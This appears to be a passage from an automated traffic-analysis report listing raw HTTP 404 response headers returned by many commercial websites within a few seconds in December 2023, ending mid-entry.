Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1Set-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:26 GMT; SameSite=LaxSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:26 GMT; SameSite=LaxSet-Cookie: _shopify_y=14dfed51-0a51-4931-9843-c12b424147f2; Expires=Thu, 19-Dec-24 02:13:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=f4370588-22dc-4936-9050-f60901d9890d; Expires=Wed, 20-Dec-23 02:43:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxLink: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginETag: W/"cacheable:d8490b8480ea69d77871b9c2b87c85ee"X-Cache: missX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: en-AUpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingVary: Accept-EncodingSet-Cookie: PHPSESSID=43f682f086d0c366466c7d13a802f997; path=/Pragma: no-cacheSet-Cookie: aiovg_rand_seed=1494448789; expires=Thu, 21-Dec-2023 02:13:27 GMT; Max-Age=86400; path=/Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.texasopendoor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038407.54816508839143415058Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:27 GMTX-Served-By: cache-dfw-kdfw8210096-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalqKNXi8zNH83VjvAt1bwD34VtlvhO2UqmSLUgnUyWkAaOGo/oTFRj6yPw4wbEq5iAA==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,JrkgFGO7U7bjOEi/EuK4OmGy0AMuDj9WzV7MOlw9PWo=,0gGrL7iazMoiuqlb7dEO3e/kqv1crbHRlba79Pts+CcB8BMFbAfksPc98d03q8KwMzrlPmWu4KwuxqFFXL+rxQ==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:27 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:27 GMT; SameSite=LaxSet-Cookie: _shopify_y=57b86828-35b1-471d-9aa5-12be22ec6cdd; Expires=Thu, 19-Dec-24 02:13:27 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=831ce7eb-d0e1-444e-a0e9-9185b9a319a0; Expires=Wed, 20-Dec-23 02:43:27 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:27 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:27 GMT; SameSite=LaxSet-Cookie: _shopify_y=09a0301a-0e3b-4a44-9f09-242320b6779f; Expires=Thu, 19-Dec-24 02:13:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=049bff2c-8840-4860-ad51-4132da41148c; Expires=Wed, 20-Dec-23 02:43:27 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: enpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html;charset=utf-8Transfer-Encoding: chunkedConnection: closeCF-Ray: 83845dc0786d7497-MIACF-Cache-Status: HITCache-Control: s-maxage=5,max-age=5Strict-Transport-Security: max-age=31536000Vary: origin, Accept-EncodingAccess-Control-Allow-Credentials: falseContent-Security-Policy: upgrade-insecure-requestsX-Content-Type-Options: nosniffx-envoy-upstream-service-time: 57x-evy-trace-listener: listener_httpsx-evy-trace-route-configuration: listener_https/allx-evy-trace-route-service-name: envoyset-translatorx-evy-trace-served-by-pod: iad02/cms-20-29-td/envoy-proxy-7bbc466c58-wshlzx-evy-trace-virtual-host: allX-Hs-Https-Only: workerX-HS-Prerendered: Tue, 19 Dec 2023 22:41:00 GMTX-HS-Reason: No view mapper found to handle requestX-HubSpot-Correlation-Id: 9371527a-01bc-4992-aad3-1d6ac04de9f6X-HubSpot-NotFound: truex-request-id: 9371527a-01bc-4992-aad3-1d6ac04de9f6X-Trace: 2B7E0E4F313D6EE1C42658B06698EC21FAEDF6A872000000000000000000Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=R0CZBJt2IxhxHDEYFm6IAvHj4WQrdwVOGPWIO2xTS8w729JPphSWa70W3VycE3c1H54ZrAIfRMFYoxTkKmkCwEtt2o3jyks8xUMnCdqP26Y%2FqzZeRkPYyq9cvuMypU%2BYc4QGBAPADFfV5Tm%2BFU0%3D"}],"group":"cf-nel","max_age":604800}
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://majormega.com/wp-json/>; rel="https://api.w.org/"CF-Cache-Status: DYNAMICReport-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=JfziBOJ2h6Ujpafp%2BYszlEQ2QOgwkiWvsvuzft8mDzkbisUkZJ4IEjZbeUji%2BGjGNB2Dh0U0JQ4jzM589Hw9H%2BqL8KK5KnV7LjNds0G3LMVBppcth95j1jNkPtTHvxJQ"}],"group":"cf-nel","max_age":604800}NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}Server: cloudflareCF-RAY: 83845dc08ed50321-MIAalt-svc: h3=":443"; ma=86400
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:27 GMTServer: ApacheVary: X-W-SSL,User-AgentSet-Cookie: language=en; expires=Wed, 03-Jan-2024 02:13:27 GMT; Max-Age=1209600; path=/Set-Cookie: cookie-consent=%7B%22allowStrictlyNecessaryCookies%22%3Atrue%2C%22allowFunctionalityCookies%22%3Atrue%2C%22allowPerformanceCookies%22%3Atrue%2C%22allowTargetingCookies%22%3Atrue%2C%22allowInternalPerformanceCookies%22%3Atrue%7D; expires=Sat, 17-Dec-2033 02:13:27 GMT; Max-Age=315360000; path=/Cache-Control: privateX-Host: grn61.sf2p.intern.weebly.netX-UA-Compatible: IE=edge,chrome=1Content-Length: 3909Content-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:28 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:28 GMT; SameSite=LaxSet-Cookie: _shopify_y=14dfed51-0a51-4931-9843-c12b424147f2; Expires=Thu, 19-Dec-24 02:13:28 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxSet-Cookie: _shopify_s=f4370588-22dc-4936-9050-f60901d9890d; Expires=Wed, 20-Dec-23 02:43:28 GMT; Domain=ecochild.com.au; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 7475083X-ShardId: 60Vary: AcceptContent-Language: en-AUpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038408.0341655828538122006Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:28 GMTX-Served-By: cache-dfw-kdfw8210144-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLhe/Ft074qYAt5jyfc2Z/bHu/2EjeiyKjB/JVOb8T5Ve,2d58ifebGbosy5xc+FRalifkLe1AluseDjyPF+qZ38VG36LKbNcZGtZVpMJS6c3naXkzVEFlT3i+EHvY3Lz7jQ==,2UNV7KOq4oGjA5+PKsX47PmOi36p/Q7Ico3sut0FtX4fbJaKSXYQ/lskq2jK6SGP,S+3YDkrdjZ6isF/aTRkOdUjmz5YjnwZx7K9uZU5HfPQ=,P9YodI6ewFhbf/YtWyJZ2cRJsHjpsrbYq+av+BuPZ10=,0gGrL7iazMoiuqlb7dEO3WO6CuZTil5ccmCAr6IM8iDq4CE+Ostk6dcoTXCt3mCrRA65vs83XfDBPfXS0pi9uA==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:ed09ee431292ccd6baa62849423293fc"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:28 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:28 GMT; SameSite=LaxSet-Cookie: _shopify_y=a1f3d777-d0d7-45a3-9f28-e46fe503080f; Expires=Thu, 19-Dec-24 02:13:28 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=f161387b-9bb4-4f0f-9b48-124cdd02b0d8; Expires=Wed, 20-Dec-23 02:43:28 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: en-USpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/html; charset=utf-8Content-Length: 146Connection: closeVary: Accept-Encoding
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://activegraphics.com/wp-json/>; rel="https://api.w.org/"Connection: closeTransfer-Encoding: chunkedContent-Type: text/html; charset=UTF-8
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:28 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeServer: ApacheX-Powered-By: PHP/7.0Expires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-cache, must-revalidate, max-age=0Link: <https://www.plastikolor.com/wp-json/>; rel="https://api.w.org/"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:28 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 312X-Sorting-Hat-ShopId: 1584544X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:603c2f6ba8dec2a54d03484291e7a592"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=USD; path=/; expires=Wed, 03 Jan 2024 02:13:29 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22US%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=artusopastry.com; path=/; expires=Thu, 21 Dec 2023 02:13:29 GMT; SameSite=LaxSet-Cookie: _shopify_y=a1f3d777-d0d7-45a3-9f28-e46fe503080f; Expires=Thu, 19-Dec-24 02:13:29 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxSet-Cookie: _shopify_s=f161387b-9bb4-4f0f-9b48-124cdd02b0d8; Expires=Wed, 20-Dec-23 02:43:29 GMT; Domain=artusopastry.com; Path=/; SameSite=LaxX-Cache: hit, serverX-Frame-Options: DENYContent-Security-Policy: block-all-mixed-content; frame-ancestors 'none'; upgrade-insecure-requests;Strict-Transport-Security: max-age=7889238X-ShopId: 1584544X-ShardId: 312Vary: AcceptContent-Language: en-USpowered-by: Shopify
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:29 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeDate: Wed, 20 Dec 2023 02:13:24 GMTCache-Control: public, max-age=31536000access-control-allow-origin: access-control-allow-methods: GET, POST, OPTIONSaccess-control-allow-headers: Content-Typecontent-security-policy-report-only: default-src 'self' .a8b.costrict-transport-security: max-age=31536000; includeSubDomainsreferrer-policy: strict-origin-when-cross-originpermissions-policy: accelerometer=(self), ambient-light-sensor=(self), autoplay=(self), battery=(self), camera=(self), cross-origin-isolated=(self), display-capture=(self), document-domain=(self), encrypted-media=(self), execution-while-not-rendered=(self), execution-while-out-of-viewport=(self), fullscreen=(self), geolocation=(self), gyroscope=(self), keyboard-map=(self), magnetometer=(self), microphone=(self), midi=(self), navigation-override=(self), payment=(self), picture-in-picture=(self), publickey-credentials-get=(self), screen-wake-lock=(self), sync-xhr=(self), usb=(self), web-share=(self), xr-spatial-tracking=(self), clipboard-read=(self), clipboard-write=(self), gamepad=(self), speaker-selection=(self), conversion-measurement=(self), focus-without-user-activation=(self), hid=(self), idle-detection=(self), interest-cohort=(self), serial=(self), sync-script=(self), trust-token-redemption=(self), unload=(self), window-management=(self), vertical-scroll=(self)x-frame-options: SAMEORIGINx-content-type-options: nosniffVary: Accept-EncodingX-Cache: Error from cloudfrontVia: 1.1 9df0661694135666b2bd52748cde9006.cloudfront.net (CloudFront)X-Amz-Cf-Pop: MIA3-C4X-Amz-Cf-Id: w7CcFhRa43XXGAM63U14KQQ0dS2OJy0zEthlYrc54_f8VsoZ7qf9Hg==Age: 5
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/htmlContent-Length: 867Connection: closeServer: Apache/2Last-Modified: Fri, 10 Jan 2020 16:05:10 GMTAccept-Ranges: bytesAge: 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038409.55816553568833023429Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:29 GMTX-Served-By: cache-dfw-kdfw8210150-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,VtqAe8Wu9wvSsl49B/X4+ewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqMQhUjPXFZZ6QMfhZ0ZUmYa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalqGyY36XJ7gOwVe0bLQXtjTSJPbf82bsb6B2sopBWZ82S3V6/8eVQe65nonc+dxBAA==,2UNV7KOq4oGjA5+PKsX47K15rLvEnClnBsBBVIBt3LYfbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,qvL1IlBGMJky1zI38Re9DZCi+DrJi6r6ocpPVESG7rc=,0gGrL7iazMoiuqlb7dEO3cDVdeO+gHjyx+eGG5eJGwDGaYceIjUV4QD2pRSaubKdhY4NbCqWhXGeRDkZ8kv3ng==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Length: 2929Content-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038409.60916549473621528520Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:29 GMTX-Served-By: cache-dfw-kdfw8210121-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLjBdxec7r7DHGEpZo2ij+25kavE0ZtMXws1mfakihq4B,2d58ifebGbosy5xc+FRaliqrJS2SJ0dLsCPp8d9WbtWhcgfYQ+Sr3Zn66siAExjl8cgermdYkow91pbcA2rhWg==,2UNV7KOq4oGjA5+PKsX47PIHZG7rU4AwWR8fGXl1XwJYgeUJqUXtid+86vZww+nL,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,eeDBBxD+YVnHnsF07EtfmfAuG7xlWm190hK3ivLce/A=,0gGrL7iazMoiuqlb7dEO3ZdfI6TqbNh4OZh++xsYw0miThpsmb4Q7JPiSqMAW3s6569SoDlDV8E8KUfqEoJPbQ==Via: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html;charset=utf-8Content-Length: 964Vary: Accept-EncodingServer: DPS/2.0.0+sha-5905cfaX-Version: 5905cfaX-SiteId: us-east-1Set-Cookie: dps_site_id=us-east-1; path=/; secureDate: Wed, 20 Dec 2023 02:13:29 GMTConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:29 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Wed, 20 Dec 2023 02:13:29 GMTContent-Type: text/html; charset=UTF-8Transfer-Encoding: chunkedConnection: closeVary: Accept-EncodingSet-Cookie: PHPSESSID=4e724b7a2bfde0ea5e5941f7093acbd3; expires=Wed, 20-Dec-2023 03:13:29 GMT; Max-Age=3600; path=/; domain=horsetech.com; secure; HttpOnly; SameSite=LaxPragma: no-cacheCache-Control: max-age=0, must-revalidate, no-cache, no-storeExpires: Mon, 19 Dec 2022 17:32:44 GMT
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closecache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1238date: Wed, 20 Dec 2023 02:13:29 GMTserver: LiteSpeedvary: User-Agentalt-svc: h3=":443"; ma=2592000, h3-29=":443"; ma=2592000, h3-Q050=":443"; ma=2592000, h3-Q046=":443"; ma=2592000, h3-Q043=":443"; ma=2592000, quic=":443"; ma=2592000; v="43,46"
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038411.36316553156717923427Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:31 GMTX-Served-By: cache-dfw-kdfw8210090-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,pmHZlB45NPy7b1VBAukQrewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLqMQhUjPXFZZ6QMfhZ0ZUmYa0sM5c8dDUFHeNaFq0qDu,2d58ifebGbosy5xc+FRalh9SeLIPsxiyFFqZQP3hiC3HUc+ryXLjmG/jGZ/5hOd6206gXp3PXJZe6lvXhqbl0A==,2UNV7KOq4oGjA5+PKsX47Ad3BAkeAb9lWxcyN70+/DFYgeUJqUXtid+86vZww+nL,Uh3+FND4gW3xHL7Yw3zy0HOx5fM3NYGU2oh/PYLAjKs=,q5T+u6/UFaLKF5MwuqQmpJiLcxhI56TnRMuOm6jCa0U=,0gGrL7iazMoiuqlb7dEO3X/E93jFhK4l0afl3puteNOAiU/V+bVHSMSuxcZ8nLbggcnXBFOIpm8hopJC7ovD+Q==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Content-Language: enStrict-Transport-Security: max-age=3600X-Wix-Request-Id: 1703038411.36216508838782515060Age: 0Cache-Control: no-cacheServer: Pepyaka/1.19.10X-Content-Type-Options: nosniffAccept-Ranges: bytesDate: Wed, 20 Dec 2023 02:13:31 GMTX-Served-By: cache-dfw-kdfw8210063-DFWX-Cache: MISSVary: Accept-EncodingServer-Timing: cache;desc=miss, varnish;desc=miss_miss, dc;desc=fastly_42_gX-Seen-By: yvSunuo/8ld62ehjr5B7kA==,vmPhUNXuQemvc7fjBI8NWewfbs+7qUVAqsIx00yI78k=,m0j2EEknGIVUW/liY8BLLrb3eKb2faxipHpDHW1Enb5/HubKAh1QhTB6OuUXtTGV,2d58ifebGbosy5xc+FRalrV91c9IXaI4k7yD7eLjqadvZ+42rZnypKPQWCyUorxk2CQYRnV6AUZwSxvRZCs5CA==,2UNV7KOq4oGjA5+PKsX47HWShCS4DzdxDWECJm/3qSgfbJaKSXYQ/lskq2jK6SGP,HGBagNbHaHjyb4d/UK6fckbYqB6/hwX5/SRH1bPtEcQ=,355BgrcJIkJgSeNTU+yiMhYscfXKeVSdXiuZ84ywgZ4=,0gGrL7iazMoiuqlb7dEO3VykJBCorZ8hHkHqeS6CMYYUVEyDN3A38tMpcHZdr0TkD5hgdkM3kJ2lBxKNrxdApg==Transfer-Encoding: chunkedVia: 1.1 googleAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Connection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Wed, 20 Dec 2023 02:13:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeX-Sorting-Hat-PodId: 60X-Sorting-Hat-ShopId: 7475083X-Storefront-Renderer-Rendered: 1ETag: W/"cacheable:f0fb7e3309d3f2f76aedd45312b6a1f9"Link: <https://cdn.shopify.com>; rel="preconnect", <https://cdn.shopify.com>; rel="preconnect"; crossoriginSet-Cookie: cart_currency=AUD; path=/; expires=Wed, 03 Jan 2024 02:13:31 GMTSet-Cookie: _cmp_a=%7B%22purposes%22%3A%7B%22a%22%3Atrue%2C%22p%22%3Atrue%2C%22m%22%3Atrue%2C%22t%22%3Atrue%7D%2C%22display_banner%22%3Afalse%2C%22merchant_geo%22%3A%22AU%22%2C%22sale_of_data_region%22%3Afalse%7D; domain=ecochild.com.au; path=/; expires=Thu, 21 Dec 2023 02:13:31 GMT; SameSite=LaxSet-Cookie: 